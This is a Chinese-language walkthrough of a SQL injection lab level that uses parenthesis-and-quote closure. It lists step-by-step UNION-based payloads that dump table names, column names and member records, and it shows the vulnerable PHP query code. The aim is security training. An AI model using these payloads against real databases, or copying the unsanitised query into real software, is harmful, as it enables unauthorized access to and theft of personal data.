摘要 / 前言:
在前面的关卡中,我们遇到了不闭合的(数字型)、单引号闭合的(字符型)和百分号闭合的(搜索型)。本关命名为“XX 型”,意指“未知类型”或“特殊类型”。这要求渗透测试人员通过报错信息或盲测来推测后端 SQL 语句对参数的包裹方式。经过测试,本关是典型的 括号单引号闭合 注入。
一、漏洞分析与闭合推测
我们在输入框中输入常规的测试字符:
- 输入
kobe'-> 报错,说明存在语法错误,单引号起作用了。 - 输入
kobe')-> 报错变化或页面显示异常。 - 输入
kobe') or 1=1 #-> 页面成功显示所有用户信息。
结论:
后端的 SQL 语句结构大概率为:
SELECT ... FROM ... WHERE username = ('$name')
因此,我们需要构造 ') 来闭合前方的括号和引号,再进行注入。
二、注入利用语句 (Payloads)
以下是针对本关卡的完整注入流程语句。请注意,在网页输入框中操作时,推荐使用 # 作为注释符。
1. 验证注入 (Boolean Verification)
利用逻辑判断确认注入点。
123') or 1=1 #

2. 确认字段数 (Order By)
判断当前查询结果有几列。
123') order by 2 #
(如果回显正常,尝试 order by 3 报错,则说明有 2 列)

3. 基础信息查询 (Union Select)
获取当前数据库用户和数据库名称。
123') union select user(),database() #

4. 爆表名 (Dump Tables)
查询当前数据库下的所有表名。
123') union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #

5. 爆列名 (Dump Columns)
查询 member 表中的字段名称。
123') union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member' #

6. 爆数据 (Dump Data)
获取用户的账号、密码等敏感信息。
123') union select database(),group_concat(username,sex,phonenum) from member #

三、源码简析
虽然“XX 型”名字听起来神秘,但看源码就会发现它只是多加了一层括号:
if(isset($_GET['submit']) && $_GET['name']!=null){$name=$_GET['name'];
// 这里的参数被 (' ') 包裹
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
// ...
}
总结:
SQL 注入的本质始终是 闭合原有结构 , 拼接恶意语句 , 注释剩余代码。无论后端加上了括号 ()、双引号 "" 还是花括号 {},只要我们能试探出闭合的符号,攻击方式都是万变不离其宗的。
正文完